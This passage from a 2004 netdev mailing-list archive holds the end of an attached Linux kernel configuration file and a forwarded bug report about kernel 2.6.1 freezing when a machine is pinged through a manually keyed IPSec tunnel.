not set # CONFIG_E100 is not set # CONFIG_LNE390 is not set # CONFIG_FEALNX is not set # CONFIG_NATSEMI is not set # CONFIG_NE2K_PCI is not set CONFIG_FORCEDETH=m # CONFIG_NE3210 is not set # CONFIG_ES3210 is not set # CONFIG_8139CP is not set # CONFIG_8139TOO is not set # CONFIG_8139TOO_PIO is not set # CONFIG_8139TOO_TUNE_TWISTER is not set # CONFIG_8139TOO_8129 is not set # CONFIG_8139_OLD_RX_RESET is not set # CONFIG_SIS900 is not set # CONFIG_EPIC100 is not set # CONFIG_SUNDANCE is not set # CONFIG_SUNDANCE_MMIO is not set # CONFIG_TLAN is not set # CONFIG_VIA_RHINE is not set # CONFIG_VIA_RHINE_MMIO is not set # CONFIG_WINBOND_840 is not set # CONFIG_NET_POCKET is not set # # Ethernet (1000 Mbit) # # CONFIG_ACENIC is not set # CONFIG_DL2K is not set # CONFIG_E1000 is not set # CONFIG_MYRI_SBUS is not set # CONFIG_NS83820 is not set # CONFIG_HAMACHI is not set # CONFIG_YELLOWFIN is not set # CONFIG_R8169 is not set # CONFIG_SK98LIN is not set # CONFIG_TIGON3 is not set # CONFIG_FDDI is not set # CONFIG_HIPPI is not set CONFIG_PLIP=m CONFIG_PPP=m CONFIG_PPP_MULTILINK=y CONFIG_PPP_FILTER=y CONFIG_PPP_ASYNC=m CONFIG_PPP_SYNC_TTY=m CONFIG_PPP_DEFLATE=m # CONFIG_PPP_BSDCOMP is not set CONFIG_PPPOE=m CONFIG_PPPOATM=m CONFIG_SLIP=m CONFIG_SLIP_COMPRESSED=y CONFIG_SLIP_SMART=y CONFIG_SLIP_MODE_SLIP6=y # # Wireless LAN (non-hamradio) # CONFIG_NET_RADIO=y # CONFIG_STRIP is not set # CONFIG_WAVELAN is not set # CONFIG_ARLAN is not set # CONFIG_AIRONET4500 is not set # CONFIG_AIRONET4500_NONCS is not set # CONFIG_AIRONET4500_PROC is not set # CONFIG_AIRO is not set # CONFIG_HERMES is not set # CONFIG_PLX_HERMES is not set # CONFIG_TMD_HERMES is not set # CONFIG_PCI_HERMES is not set CONFIG_NET_WIRELESS=y # # Token Ring devices # # CONFIG_TR is not set CONFIG_NET_FC=y # CONFIG_IPHASE5526 is not set # CONFIG_RCPCI is not set # CONFIG_SHAPER is not set # # Wan interfaces # CONFIG_WAN=y # CONFIG_HOSTESS_SV11 is not set # CONFIG_COSA is not set # CONFIG_COMX is not set # CONFIG_DSCC4 is not set # CONFIG_LANMEDIA is not set # CONFIG_ATI_XX20 is not set # CONFIG_SEALEVEL_4021 is not set # CONFIG_SYNCLINK_SYNCPPP is not set # CONFIG_HDLC is not set # CONFIG_DLCI is not set # CONFIG_LAPBETHER is not set # CONFIG_X25_ASY is not set # CONFIG_SBNI is not set # # ATM drivers # # CONFIG_ATM_TCP is not set # CONFIG_ATM_LANAI is not set # CONFIG_ATM_ENI is not set # CONFIG_ATM_FIRESTREAM is not set # CONFIG_ATM_ZATM is not set # CONFIG_ATM_NICSTAR is not set # CONFIG_ATM_IDT77252 is not set # CONFIG_ATM_AMBASSADOR is not set # CONFIG_ATM_HORIZON is not set # CONFIG_ATM_IA is not set # CONFIG_ATM_FORE200E_MAYBE is not set # CONFIG_ATM_HE is not set # # Amateur Radio support # # CONFIG_HAMRADIO is not set # # IrDA (infrared) support # CONFIG_IRDA=m # # IrDA protocols # CONFIG_IRLAN=m CONFIG_IRNET=m CONFIG_IRCOMM=m CONFIG_IRDA_ULTRA=y # # IrDA options # CONFIG_IRDA_CACHE_LAST_LSAP=y CONFIG_IRDA_FAST_RR=y # CONFIG_IRDA_DEBUG is not set # # Infrared-port device drivers # # # SIR device drivers # CONFIG_IRTTY_SIR=m CONFIG_IRPORT_SIR=m # # Dongle support # CONFIG_DONGLE=y CONFIG_ESI_DONGLE=m CONFIG_ACTISYS_DONGLE=m CONFIG_TEKRAM_DONGLE=m CONFIG_GIRBIL_DONGLE=m CONFIG_LITELINK_DONGLE=m CONFIG_MCP2120_DONGLE=m CONFIG_OLD_BELKIN_DONGLE=m CONFIG_ACT200L_DONGLE=m CONFIG_MA600_DONGLE=m # # FIR device drivers # CONFIG_USB_IRDA=m CONFIG_NSC_FIR=m CONFIG_WINBOND_FIR=m CONFIG_TOSHIBA_OLD=m CONFIG_TOSHIBA_FIR=m CONFIG_SMC_IRCC_FIR=m CONFIG_ALI_FIR=m CONFIG_VLSI_FIR=m # # ISDN subsystem # # CONFIG_ISDN is not set # # Old CD-ROM drivers (not SCSI, not IDE) # # CONFIG_CD_NO_IDESCSI is not set # # Input core support # CONFIG_INPUT=m CONFIG_INPUT_KEYBDEV=m CONFIG_INPUT_MOUSEDEV=m CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024 CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768 CONFIG_INPUT_JOYDEV=m CONFIG_INPUT_EVDEV=m # # Character devices # CONFIG_VT=y CONFIG_VT_CONSOLE=y CONFIG_SERIAL=y CONFIG_SERIAL_CONSOLE=y CONFIG_SERIAL_EXTENDED=y CONFIG_SERIAL_MANY_PORTS=y CONFIG_SERIAL_SHARE_IRQ=y # CONFIG_SERIAL_DETECT_IRQ is not set # CONFIG_SERIAL_MULTIPORT is not set # CONFIG_HUB6 is not set # CONFIG_SERIAL_NONSTANDARD is not set CONFIG_UNIX98_PTYS=y CONFIG_UNIX98_PTY_COUNT=2048 CONFIG_PRINTER=m # CONFIG_LP_CONSOLE is not set # CONFIG_PPDEV is not set CONFIG_TIPAR=m # # I2C support # CONFIG_I2C=m CONFIG_I2C_ALGOBIT=m CONFIG_I2C_PHILIPSPAR=m CONFIG_I2C_ELV=m CONFIG_I2C_VELLEMAN=m # CONFIG_SCx200_I2C is not set # CONFIG_SCx200_ACB is not set CONFIG_I2C_ALGOPCF=m CONFIG_I2C_ELEKTOR=m CONFIG_I2C_CHARDEV=m CONFIG_I2C_PROC=m # # Mice # CONFIG_BUSMOUSE=m CONFIG_ATIXL_BUSMOUSE=m CONFIG_LOGIBUSMOUSE=m CONFIG_MS_BUSMOUSE=m CONFIG_MOUSE=y CONFIG_PSMOUSE=y CONFIG_82C710_MOUSE=m CONFIG_PC110_PAD=m CONFIG_MK712_MOUSE=m # # Joysticks # CONFIG_INPUT_GAMEPORT=m CONFIG_INPUT_NS558=m CONFIG_INPUT_LIGHTNING=m CONFIG_INPUT_PCIGAME=m CONFIG_INPUT_CS461X=m CONFIG_INPUT_EMU10K1=m CONFIG_INPUT_SERIO=m CONFIG_INPUT_SERPORT=m # # Joysticks # CONFIG_INPUT_ANALOG=m CONFIG_INPUT_A3D=m CONFIG_INPUT_ADI=m CONFIG_INPUT_COBRA=m CONFIG_INPUT_GF2K=m CONFIG_INPUT_GRIP=m CONFIG_INPUT_INTERACT=m CONFIG_INPUT_TMDC=m CONFIG_INPUT_SIDEWINDER=m CONFIG_INPUT_IFORCE_USB=m CONFIG_INPUT_IFORCE_232=m CONFIG_INPUT_WARRIOR=m CONFIG_INPUT_MAGELLAN=m CONFIG_INPUT_SPACEORB=m CONFIG_INPUT_SPACEBALL=m CONFIG_INPUT_STINGER=m CONFIG_INPUT_DB9=m CONFIG_INPUT_GAMECON=m CONFIG_INPUT_TURBOGRAFX=m # CONFIG_QIC02_TAPE is not set CONFIG_IPMI_HANDLER=m # CONFIG_IPMI_PANIC_EVENT is not set CONFIG_IPMI_DEVICE_INTERFACE=m CONFIG_IPMI_KCS=m CONFIG_IPMI_WATCHDOG=m # # Watchdog Cards # CONFIG_WATCHDOG=y # CONFIG_WATCHDOG_NOWAYOUT is not set # CONFIG_ACQUIRE_WDT is not set # CONFIG_ADVANTECH_WDT is not set CONFIG_ALIM1535_WDT=m CONFIG_ALIM7101_WDT=m # CONFIG_SC520_WDT is not set # CONFIG_PCWATCHDOG is not set # CONFIG_EUROTECH_WDT is not set # CONFIG_IB700_WDT is not set # CONFIG_WAFER_WDT is not set CONFIG_I810_TCO=m # CONFIG_MIXCOMWD is not set # CONFIG_60XX_WDT is not set # CONFIG_SC1200_WDT is not set # CONFIG_SCx200_WDT is not set CONFIG_SOFT_WATCHDOG=m # CONFIG_W83877F_WDT is not set # CONFIG_WDT is not set # CONFIG_WDTPCI is not set # CONFIG_MACHZ_WDT is not set CONFIG_AMD7XX_TCO=m # CONFIG_SCx200_GPIO is not set CONFIG_AMD_RNG=m CONFIG_INTEL_RNG=m CONFIG_HW_RANDOM=m CONFIG_AMD_PM768=m CONFIG_NVRAM=m CONFIG_RTC=y CONFIG_DTLK=m CONFIG_R3964=m # CONFIG_APPLICOM is not set # CONFIG_SONYPI is not set # # Ftape, the floppy tape device driver # CONFIG_FTAPE=m CONFIG_ZFTAPE=m CONFIG_ZFT_DFLT_BLK_SZ=10240 # # The compressor will be built as a module only! # CONFIG_ZFT_COMPRESSOR=m CONFIG_FT_NR_BUFFERS=3 # CONFIG_FT_PROC_FS is not set CONFIG_FT_NORMAL_DEBUG=y # CONFIG_FT_FULL_DEBUG is not set # CONFIG_FT_NO_TRACE is not set # CONFIG_FT_NO_TRACE_AT_ALL is not set # # Hardware configuration # CONFIG_FT_STD_FDC=y # CONFIG_FT_MACH2 is not set # CONFIG_FT_PROBE_FC10 is not set # CONFIG_FT_ALT_FDC is not set CONFIG_FT_FDC_THR=8 CONFIG_FT_FDC_MAX_RATE=2000 CONFIG_FT_ALPHA_CLOCK=0 CONFIG_AGP=m # CONFIG_AGP_INTEL is not set # CONFIG_AGP_I810 is not set CONFIG_AGP_VIA=y # CONFIG_AGP_AMD is not set # CONFIG_AGP_AMD_K8 is not set # CONFIG_AGP_SIS is not set # CONFIG_AGP_ALI is not set # CONFIG_AGP_SWORKS is not set CONFIG_AGP_NVIDIA=y # CONFIG_AGP_ATI is not set # # Direct Rendering Manager (XFree86 DRI support) # CONFIG_DRM=y # CONFIG_DRM_OLD is not set # # DRM 4.1 drivers # CONFIG_DRM_NEW=y # CONFIG_DRM_TDFX is not set # CONFIG_DRM_GAMMA is not set # CONFIG_DRM_R128 is not set # CONFIG_DRM_RADEON is not set CONFIG_DRM_I810=m # CONFIG_DRM_I810_XFREE_41 is not set CONFIG_DRM_I830=m # CONFIG_DRM_MGA is not set # CONFIG_DRM_SIS is not set # CONFIG_MWAVE is not set # # Multimedia devices # CONFIG_VIDEO_DEV=m # # Video For Linux # CONFIG_VIDEO_PROC_FS=y CONFIG_I2C_PARPORT=m # # Video Adapters # CONFIG_VIDEO_BT848=m CONFIG_VIDEO_PMS=m CONFIG_VIDEO_BWQCAM=m CONFIG_VIDEO_CQCAM=m CONFIG_VIDEO_W9966=m CONFIG_VIDEO_CPIA=m CONFIG_VIDEO_CPIA_PP=m CONFIG_VIDEO_CPIA_USB=m CONFIG_VIDEO_SAA5249=m CONFIG_TUNER_3036=m CONFIG_VIDEO_STRADIS=m CONFIG_VIDEO_ZORAN=m CONFIG_VIDEO_ZORAN_BUZ=m CONFIG_VIDEO_ZORAN_DC10=m CONFIG_VIDEO_ZORAN_LML33=m CONFIG_VIDEO_ZR36120=m # CONFIG_VIDEO_MEYE is not set # # Radio Adapters # # CONFIG_RADIO_CADET is not set # CONFIG_RADIO_RTRACK is not set # CONFIG_RADIO_RTRACK2 is not set # CONFIG_RADIO_AZTECH is not set # CONFIG_RADIO_GEMTEK is not set # CONFIG_RADIO_GEMTEK_PCI is not set # CONFIG_RADIO_MAXIRADIO is not set # CONFIG_RADIO_MAESTRO is not set # CONFIG_RADIO_MIROPCM20 is not set # CONFIG_RADIO_MIROPCM20_RDS is not set # CONFIG_RADIO_SF16FMI is not set # CONFIG_RADIO_SF16FMR2 is not set # CONFIG_RADIO_TERRATEC is not set # CONFIG_RADIO_TRUST is not set # CONFIG_RADIO_TYPHOON is not set # CONFIG_RADIO_ZOLTRIX is not set # # File systems # CONFIG_QUOTA=y CONFIG_QFMT_V2=m CONFIG_AUTOFS_FS=m CONFIG_AUTOFS4_FS=m CONFIG_REISERFS_FS=m # CONFIG_REISERFS_CHECK is not set CONFIG_REISERFS_PROC_INFO=y # CONFIG_ADFS_FS is not set # CONFIG_ADFS_FS_RW is not set # CONFIG_AFFS_FS is not set CONFIG_HFS_FS=m # CONFIG_HFSPLUS_FS is not set # CONFIG_BEFS_FS is not set # CONFIG_BEFS_DEBUG is not set # CONFIG_BFS_FS is not set CONFIG_EXT3_FS=y CONFIG_JBD=y # CONFIG_JBD_DEBUG is not set CONFIG_FAT_FS=m CONFIG_MSDOS_FS=m CONFIG_UMSDOS_FS=m CONFIG_VFAT_FS=m # CONFIG_EFS_FS is not set # CONFIG_JFFS_FS is not set # CONFIG_JFFS2_FS is not set # CONFIG_CRAMFS is not set CONFIG_TMPFS=y CONFIG_RAMFS=y CONFIG_ISO9660_FS=y CONFIG_JOLIET=y CONFIG_ZISOFS=y # CONFIG_JFS_FS is not set # CONFIG_JFS_DEBUG is not set # CONFIG_JFS_STATISTICS is not set CONFIG_MINIX_FS=m # CONFIG_VXFS_FS is not set CONFIG_NTFS_FS=m # CONFIG_NTFS_RW is not set # CONFIG_HPFS_FS is not set CONFIG_PROC_FS=y # CONFIG_DEVFS_FS is not set # CONFIG_DEVFS_MOUNT is not set # CONFIG_DEVFS_DEBUG is not set CONFIG_DEVPTS_FS=y # CONFIG_QNX4FS_FS is not set # CONFIG_QNX4FS_RW is not set CONFIG_ROMFS_FS=m CONFIG_EXT2_FS=y # CONFIG_SYSV_FS is not set CONFIG_UDF_FS=m CONFIG_UDF_RW=y # CONFIG_UFS_FS is not set # CONFIG_UFS_FS_WRITE is not set # # Network File Systems # CONFIG_CODA_FS=m CONFIG_INTERMEZZO_FS=m CONFIG_NFS_FS=m CONFIG_NFS_V3=y # CONFIG_NFS_DIRECTIO is not set # CONFIG_ROOT_NFS is not set CONFIG_NFSD=m CONFIG_NFSD_V3=y # CONFIG_NFSD_TCP is not set CONFIG_SUNRPC=m CONFIG_LOCKD=m CONFIG_LOCKD_V4=y CONFIG_SMB_FS=m # CONFIG_SMB_NLS_DEFAULT is not set CONFIG_NCP_FS=m CONFIG_NCPFS_PACKET_SIGNING=y CONFIG_NCPFS_IOCTL_LOCKING=y CONFIG_NCPFS_STRONG=y CONFIG_NCPFS_NFS_NS=y CONFIG_NCPFS_OS2_NS=y CONFIG_NCPFS_SMALLDOS=y CONFIG_NCPFS_NLS=y CONFIG_NCPFS_EXTRAS=y CONFIG_ZISOFS_FS=y # # Partition Types # CONFIG_PARTITION_ADVANCED=y # CONFIG_ACORN_PARTITION is not set # CONFIG_OSF_PARTITION is not set # CONFIG_AMIGA_PARTITION is not set # CONFIG_ATARI_PARTITION is not set # CONFIG_MAC_PARTITION is not set CONFIG_MSDOS_PARTITION=y # CONFIG_BSD_DISKLABEL is not set CONFIG_MINIX_SUBPARTITION=y # CONFIG_SOLARIS_X86_PARTITION is not set # CONFIG_UNIXWARE_DISKLABEL is not set # CONFIG_LDM_PARTITION is not set # CONFIG_SGI_PARTITION is not set # CONFIG_ULTRIX_PARTITION is not set # CONFIG_SUN_PARTITION is not set # CONFIG_EFI_PARTITION is not set CONFIG_SMB_NLS=y CONFIG_NLS=y # # Native Language Support # CONFIG_NLS_DEFAULT="iso8859-1" CONFIG_NLS_CODEPAGE_437=m CONFIG_NLS_CODEPAGE_737=m CONFIG_NLS_CODEPAGE_775=m CONFIG_NLS_CODEPAGE_850=m CONFIG_NLS_CODEPAGE_852=m CONFIG_NLS_CODEPAGE_855=m CONFIG_NLS_CODEPAGE_857=m CONFIG_NLS_CODEPAGE_860=m CONFIG_NLS_CODEPAGE_861=m CONFIG_NLS_CODEPAGE_862=m CONFIG_NLS_CODEPAGE_863=m CONFIG_NLS_CODEPAGE_864=m CONFIG_NLS_CODEPAGE_865=m CONFIG_NLS_CODEPAGE_866=m CONFIG_NLS_CODEPAGE_869=m CONFIG_NLS_CODEPAGE_936=m CONFIG_NLS_CODEPAGE_950=m CONFIG_NLS_CODEPAGE_932=m CONFIG_NLS_CODEPAGE_949=m CONFIG_NLS_CODEPAGE_874=m CONFIG_NLS_ISO8859_8=m CONFIG_NLS_CODEPAGE_1250=m CONFIG_NLS_CODEPAGE_1251=m CONFIG_NLS_ISO8859_1=m CONFIG_NLS_ISO8859_2=m CONFIG_NLS_ISO8859_3=m CONFIG_NLS_ISO8859_4=m CONFIG_NLS_ISO8859_5=m CONFIG_NLS_ISO8859_6=m CONFIG_NLS_ISO8859_7=m CONFIG_NLS_ISO8859_9=m CONFIG_NLS_ISO8859_13=m CONFIG_NLS_ISO8859_14=m CONFIG_NLS_ISO8859_15=m CONFIG_NLS_KOI8_R=m CONFIG_NLS_KOI8_U=m CONFIG_NLS_UTF8=m # # Console drivers # CONFIG_VGA_CONSOLE=y CONFIG_VIDEO_SELECT=y CONFIG_MDA_CONSOLE=m # # Frame-buffer support # CONFIG_FB=y CONFIG_DUMMY_CONSOLE=y CONFIG_FB_RIVA=m # CONFIG_FB_CLGEN is not set # CONFIG_FB_PM2 is not set # CONFIG_FB_PM3 is not set # CONFIG_FB_CYBER2000 is not set CONFIG_FB_VESA=y CONFIG_FB_VGA16=m # CONFIG_FB_HGA is not set CONFIG_VIDEO_SELECT=y # CONFIG_FB_MATROX is not set # CONFIG_FB_ATY is not set # CONFIG_FB_RADEON is not set # CONFIG_FB_ATY128 is not set CONFIG_FB_INTEL=m # CONFIG_FB_SIS is not set # CONFIG_FB_NEOMAGIC is not set # CONFIG_FB_3DFX is not set # CONFIG_FB_VOODOO1 is not set # CONFIG_FB_TRIDENT is not set # CONFIG_FB_VIRTUAL is not set # CONFIG_FBCON_ADVANCED is not set CONFIG_FBCON_CFB8=y CONFIG_FBCON_CFB16=y CONFIG_FBCON_CFB24=y CONFIG_FBCON_CFB32=y CONFIG_FBCON_VGA_PLANES=m # CONFIG_FBCON_FONTWIDTH8_ONLY is not set # CONFIG_FBCON_FONTS is not set CONFIG_FONT_8x8=y CONFIG_FONT_8x16=y # # Sound # CONFIG_SOUND=m # CONFIG_SOUND_ALI5455 is not set # CONFIG_SOUND_BT878 is not set # CONFIG_SOUND_CMPCI is not set # CONFIG_SOUND_EMU10K1 is not set # CONFIG_MIDI_EMU10K1 is not set # CONFIG_SOUND_FUSION is not set # CONFIG_SOUND_CS4281 is not set # CONFIG_SOUND_ES1370 is not set # CONFIG_SOUND_ES1371 is not set # CONFIG_SOUND_ESSSOLO1 is not set # CONFIG_SOUND_MAESTRO is not set # CONFIG_SOUND_MAESTRO3 is not set # CONFIG_SOUND_FORTE is not set CONFIG_SOUND_ICH=m # CONFIG_SOUND_RME96XX is not set # CONFIG_SOUND_SONICVIBES is not set # CONFIG_SOUND_TRIDENT is not set # CONFIG_SOUND_MSNDCLAS is not set # CONFIG_SOUND_MSNDPIN is not set # CONFIG_SOUND_VIA82CXXX is not set # CONFIG_MIDI_VIA82CXXX is not set CONFIG_SOUND_OSS=m # CONFIG_SOUND_TRACEINIT is not set CONFIG_SOUND_DMAP=y # CONFIG_SOUND_AD1816 is not set # CONFIG_SOUND_AD1889 is not set # CONFIG_SOUND_SGALAXY is not set # CONFIG_SOUND_ADLIB is not set # CONFIG_SOUND_ACI_MIXER is not set # CONFIG_SOUND_CS4232 is not set # CONFIG_SOUND_SSCAPE is not set # CONFIG_SOUND_GUS is not set CONFIG_SOUND_VMIDI=m # CONFIG_SOUND_TRIX is not set # CONFIG_SOUND_MSS is not set CONFIG_SOUND_MPU401=m # CONFIG_SOUND_NM256 is not set # CONFIG_SOUND_MAD16 is not set # CONFIG_SOUND_PAS is not set # CONFIG_PAS_JOYSTICK is not set # CONFIG_SOUND_PSS is not set # CONFIG_SOUND_SB is not set # CONFIG_SOUND_AWE32_SYNTH is not set # CONFIG_SOUND_KAHLUA is not set # CONFIG_SOUND_WAVEFRONT is not set # CONFIG_SOUND_MAUI is not set CONFIG_SOUND_YM3812=m # CONFIG_SOUND_OPL3SA1 is not set # CONFIG_SOUND_OPL3SA2 is not set # CONFIG_SOUND_YMFPCI is not set # CONFIG_SOUND_YMFPCI_LEGACY is not set CONFIG_SOUND_UART6850=m # CONFIG_SOUND_AEDSP16 is not set # CONFIG_SOUND_TVMIXER is not set # CONFIG_SOUND_AD1980 is not set # CONFIG_SOUND_WM97XX is not set # # USB support # CONFIG_USB=m # CONFIG_USB_DEBUG is not set # # Miscellaneous USB options # CONFIG_USB_DEVICEFS=y # CONFIG_USB_BANDWIDTH is not set # # USB Host Controller Drivers # CONFIG_USB_EHCI_HCD=m CONFIG_USB_UHCI=m CONFIG_USB_UHCI_ALT=m CONFIG_USB_OHCI=m CONFIG_USB_SL811HS_ALT=m # CONFIG_USB_SL811HS is not set # # USB Device Class drivers # CONFIG_USB_AUDIO=m # CONFIG_USB_EMI26 is not set # # USB Bluetooth can only be used with disabled Bluetooth subsystem # CONFIG_USB_MIDI=m CONFIG_USB_STORAGE=m # CONFIG_USB_STORAGE_DEBUG is not set CONFIG_USB_STORAGE_DATAFAB=y CONFIG_USB_STORAGE_FREECOM=y CONFIG_USB_STORAGE_ISD200=y CONFIG_USB_STORAGE_DPCM=y CONFIG_USB_STORAGE_HP8200e=y CONFIG_USB_STORAGE_SDDR09=y CONFIG_USB_STORAGE_SDDR55=y CONFIG_USB_STORAGE_JUMPSHOT=y CONFIG_USB_ACM=m CONFIG_USB_PRINTER=m # # USB Human Interface Devices (HID) # CONFIG_USB_HID=m CONFIG_USB_HIDINPUT=y CONFIG_USB_HIDDEV=y # CONFIG_USB_KBD is not set # CONFIG_USB_MOUSE is not set CONFIG_USB_AIPTEK=m CONFIG_USB_WACOM=m CONFIG_USB_KBTAB=m CONFIG_USB_POWERMATE=m # # USB Imaging devices # CONFIG_USB_DC2XX=m CONFIG_USB_MDC800=m CONFIG_USB_SCANNER=m CONFIG_USB_MICROTEK=m CONFIG_USB_HPUSBSCSI=m # # USB Multimedia devices # CONFIG_USB_IBMCAM=m CONFIG_USB_KONICAWC=m CONFIG_USB_OV511=m CONFIG_USB_PWC=m CONFIG_USB_SE401=m CONFIG_USB_STV680=m CONFIG_USB_W9968CF=m CONFIG_USB_VICAM=m CONFIG_USB_DSBR=m CONFIG_USB_DABUSB=m # # USB Network adaptors # CONFIG_USB_PEGASUS=m CONFIG_USB_RTL8150=m CONFIG_USB_KAWETH=m CONFIG_USB_CATC=m CONFIG_USB_AX8817X=m CONFIG_USB_CDCETHER=m CONFIG_USB_USBNET=m # # USB port drivers # CONFIG_USB_USS720=m # # USB Serial Converter support # CONFIG_USB_SERIAL=m # CONFIG_USB_SERIAL_DEBUG is not set CONFIG_USB_SERIAL_GENERIC=y CONFIG_USB_SERIAL_BELKIN=m CONFIG_USB_SERIAL_WHITEHEAT=m CONFIG_USB_SERIAL_DIGI_ACCELEPORT=m CONFIG_USB_SERIAL_EMPEG=m CONFIG_USB_SERIAL_FTDI_SIO=m CONFIG_USB_SERIAL_VISOR=m CONFIG_USB_SERIAL_IPAQ=m CONFIG_USB_SERIAL_IR=m CONFIG_USB_SERIAL_EDGEPORT=m CONFIG_USB_SERIAL_EDGEPORT_TI=m CONFIG_USB_SERIAL_KEYSPAN_PDA=m CONFIG_USB_SERIAL_KEYSPAN=m # CONFIG_USB_SERIAL_KEYSPAN_USA28 is not set # CONFIG_USB_SERIAL_KEYSPAN_USA28X is not set CONFIG_USB_SERIAL_KEYSPAN_USA28XA=y CONFIG_USB_SERIAL_KEYSPAN_USA28XB=y # CONFIG_USB_SERIAL_KEYSPAN_USA19 is not set # CONFIG_USB_SERIAL_KEYSPAN_USA18X is not set CONFIG_USB_SERIAL_KEYSPAN_USA19W=y CONFIG_USB_SERIAL_KEYSPAN_USA19QW=y CONFIG_USB_SERIAL_KEYSPAN_USA19QI=y CONFIG_USB_SERIAL_KEYSPAN_MPR=y CONFIG_USB_SERIAL_KEYSPAN_USA49W=y CONFIG_USB_SERIAL_KEYSPAN_USA49WLC=y CONFIG_USB_SERIAL_MCT_U232=m CONFIG_USB_SERIAL_KLSI=m CONFIG_USB_SERIAL_KOBIL_SCT=m CONFIG_USB_SERIAL_PL2303=m CONFIG_USB_SERIAL_CYBERJACK=m CONFIG_USB_SERIAL_XIRCOM=m CONFIG_USB_SERIAL_OMNINET=m # # USB Miscellaneous drivers # CONFIG_USB_RIO500=m CONFIG_USB_AUERSWALD=m CONFIG_USB_TIGL=m CONFIG_USB_BRLVGER=m CONFIG_USB_LCD=m CONFIG_USB_SPEEDTOUCH=m # # Support for USB gadgets # # CONFIG_USB_GADGET is not set # # Bluetooth support # CONFIG_BLUEZ=m CONFIG_BLUEZ_L2CAP=m CONFIG_BLUEZ_SCO=m CONFIG_BLUEZ_RFCOMM=m CONFIG_BLUEZ_RFCOMM_TTY=y CONFIG_BLUEZ_BNEP=m CONFIG_BLUEZ_BNEP_MC_FILTER=y CONFIG_BLUEZ_BNEP_PROTO_FILTER=y # # Bluetooth device drivers # CONFIG_BLUEZ_HCIUSB=m CONFIG_BLUEZ_USB_SCO=y CONFIG_BLUEZ_HCIUART=m CONFIG_BLUEZ_HCIUART_H4=y CONFIG_BLUEZ_HCIUART_BCSP=y CONFIG_BLUEZ_HCIUART_BCSP_TXCRC=y CONFIG_BLUEZ_HCIBFUSB=m # CONFIG_BLUEZ_HCIDTL1 is not set # CONFIG_BLUEZ_HCIBT3C is not set # CONFIG_BLUEZ_HCIBLUECARD is not set # CONFIG_BLUEZ_HCIBTUART is not set CONFIG_BLUEZ_HCIVHCI=m # # Kernel hacking # CONFIG_DEBUG_KERNEL=y CONFIG_DEBUG_STACKOVERFLOW=y # CONFIG_DEBUG_HIGHMEM is not set # CONFIG_DEBUG_SLAB is not set # CONFIG_DEBUG_IOVIRT is not set CONFIG_MAGIC_SYSRQ=y # CONFIG_DEBUG_SPINLOCK is not set # CONFIG_FRAME_POINTER is not set CONFIG_LOG_BUF_SHIFT=0 # # Cryptographic options # CONFIG_CRYPTO=y CONFIG_CRYPTO_HMAC=y CONFIG_CRYPTO_NULL=m CONFIG_CRYPTO_MD4=m CONFIG_CRYPTO_MD5=m CONFIG_CRYPTO_SHA1=m CONFIG_CRYPTO_SHA256=m CONFIG_CRYPTO_SHA512=m CONFIG_CRYPTO_DES=m CONFIG_CRYPTO_BLOWFISH=m CONFIG_CRYPTO_TWOFISH=m CONFIG_CRYPTO_SERPENT=m CONFIG_CRYPTO_AES=m CONFIG_CRYPTO_CAST5=m CONFIG_CRYPTO_DEFLATE=m CONFIG_CRYPTO_TEST=m # # Library routines # CONFIG_CRC32=m CONFIG_ZLIB_INFLATE=y CONFIG_ZLIB_DEFLATE=m CONFIG_FW_LOADER=m --------------090406050307090209030003-- From niv@us.ibm.com Sun Feb 1 10:32:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 01 Feb 2004 10:32:32 -0800 (PST) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i11IWM7J018829 for ; Sun, 1 Feb 2004 10:32:29 -0800 Received: from westrelay05.boulder.ibm.com (westrelay05.boulder.ibm.com [9.17.193.33]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i11IWGlv630116 for ; Sun, 1 Feb 2004 13:32:16 -0500 Received: from us.ibm.com (d03av01.boulder.ibm.com [9.17.193.81]) by westrelay05.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i11IWF6U063060 for ; Sun, 1 Feb 2004 11:32:16 -0700 Message-ID: <401D45AD.8010105@us.ibm.com> Date: Sun, 01 Feb 2004 10:30:05 -0800 From: Nivedita Singhvi User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en MIME-Version: 1.0 To: netdev Subject: [Fwd: [Bug 1994] New: pinging endpoint through IPSec tunnel crashes target] Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2925 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Anyone? thanks, Nivedita -------- Original Message -------- Subject: [Bug 1994] New: pinging endpoint through IPSec tunnel crashes target Date: Sun, 1 Feb 2004 09:59:04 -0800 From: bugme-daemon@osdl.org To: niv@us.ibm.com http://bugme.osdl.org/show_bug.cgi?id=1994 Summary: pinging endpoint through IPSec tunnel crashes target Kernel Version: 2.6.1 Status: NEW Severity: blocking Owner: niv@us.ibm.com Submitter: casteyde.christian@free.fr Distribution: Slackware 9.1 + vanilla 2.6.1 kernel compiled from source + pppd 2.4.2 Hardware Environment: K7 2GHz + ne2k Ethernet cards + ppp + pppoe + netfilter + ipv4 ipsec Software Environment: kame tools for ipsec, pppd 2.4.2 + pppoe plugin for Internet connection Problem Description: I tried to build an experimental IPSec tunnel with manual keying, to forward traffic from dummy network of computer A to dummy network of computer B, which are interconnected by a real network. I therefore mount dummy0 on both computers (192.168.20.1 and 192.168.20.2), activated IP forwarding on both, relax firewall rules, and set up IPv4 IPSec tunnel between both computer to relay packets from 192.168.20.x through my Internet connection. My ipsec.conf file defines IPSec policy as shown : spdadd 192.168.20.1 192.168.20.2 any -P out ipsec esp/tunnel/xx.yy.zzz.tt-uu.170.31.3/require ah/tunnel/xx.yy.zzz.tt-uu.170.31.3/require; spdadd 192.168.20.2 192.168.20.1 any -P in ipsec esp/tunnel/xx.yy.zzz.tt-uu.170.31.3/require ah/tunnel/xx.yy.zzz.tt-uu.170.31.3/require; (real IP adresses masked). Then ping 192.168.20.1 crashes the pinged machine. Oops not available (system freeze under X11). Steps to reproduce: Build an IPSec tunnel and ping the remote machine as described upper. ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the 